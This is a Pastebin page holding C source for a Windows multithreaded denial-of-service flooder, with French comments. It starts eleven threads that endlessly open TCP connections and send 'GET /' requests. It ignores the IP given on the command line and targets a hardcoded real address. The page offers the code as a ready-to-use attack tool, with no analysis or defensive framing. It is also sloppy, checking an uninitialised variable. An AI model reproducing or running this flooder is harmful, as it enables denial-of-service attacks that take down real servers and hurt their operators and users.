Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <winsock.h>
- #include <string.h>
- #include <pthread.h>
- void* flood(int* port);
- int main(int argc, char *argv[])
- {
- if(argc == 1)
- {
- printf("S'utilise avec flood [ip] [port]\n");
- getchar();
- exit(0);
- }
- int port;
- int erreur;
- char *p_conv;
- port = (int)strtol(argv[2], &p_conv, 10);
- printf("Nombre de paramètre invoqués : %d\n",argc);
- printf("IP : %s\nPort : %d\n",argv[1],port);
- WSADATA initialisation_win32;
- erreur=WSAStartup(MAKEWORD(2,2),&initialisation_win32);
- if (erreur!=0){printf("\nErreur : Winsock init : %d %d",erreur,WSAGetLastError());}else{printf("\nWSAStartup : OK");}
- pthread_t thread;
- pthread_create(&thread, NULL, flood,&port);
- pthread_t thread1;
- pthread_create(&thread1, NULL, flood,&port);
- pthread_t thread2;
- pthread_create(&thread2, NULL, flood,&port);
- pthread_t thread3;
- pthread_create(&thread3, NULL, flood,&port);
- pthread_t thread4;
- pthread_create(&thread4, NULL, flood,&port);
- pthread_t thread5;
- pthread_create(&thread5, NULL, flood,&port);
- pthread_t thread6;
- pthread_create(&thread6, NULL, flood,&port);
- pthread_t thread7;
- pthread_create(&thread7, NULL, flood,&port);
- pthread_t thread8;
- pthread_create(&thread8, NULL, flood,&port);
- pthread_t thread9;
- pthread_create(&thread9, NULL, flood,&port);
- pthread_t thread10;
- pthread_create(&thread10, NULL, flood,&port);
- printf("Flooding ...");
- while (1) {}
- return 0;
- }
- void *flood(int* port)
- {
- int sock;
- int erreur;
- SOCKADDR_IN information_sur_la_destination;
- information_sur_la_destination.sin_family=AF_INET;
- information_sur_la_destination.sin_addr.s_addr=inet_addr("178.33.214.192");
- information_sur_la_destination.sin_port=htons(*port);
- int nombre_de_caractere; // Indique le nombre de caractères qui a été reçu ou envoyé
- char buffer[65535]; // Tampon contenant les données reçues ou envoyées
- strcpy(buffer,"GET /\n\n"); // Copie la chaine de caractère dans buffer
- while (1)
- {
- //creation de la socket
- sock = socket(AF_INET,SOCK_STREAM,0);
- if (sock==INVALID_SOCKET){printf("\nSocket Error : %d",WSAGetLastError());}
- //connexion au serveur
- erreur=connect(sock,(struct sockaddr*)&information_sur_la_destination,sizeof(information_sur_la_destination));
- if (erreur!=0){printf("\nError connect() : %d %d",erreur,WSAGetLastError());}
- //envoi des données
- send(sock,buffer,strlen(buffer),0);
- if (nombre_de_caractere==SOCKET_ERROR){printf("\nEchec send() : %d",WSAGetLastError());}else{printf("\nSend : OK");}
- //fermeture de la socket
- erreur=closesocket(sock);
- if (erreur!=0){printf("\nError while closing socket : %d %d",erreur,WSAGetLastError());}
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement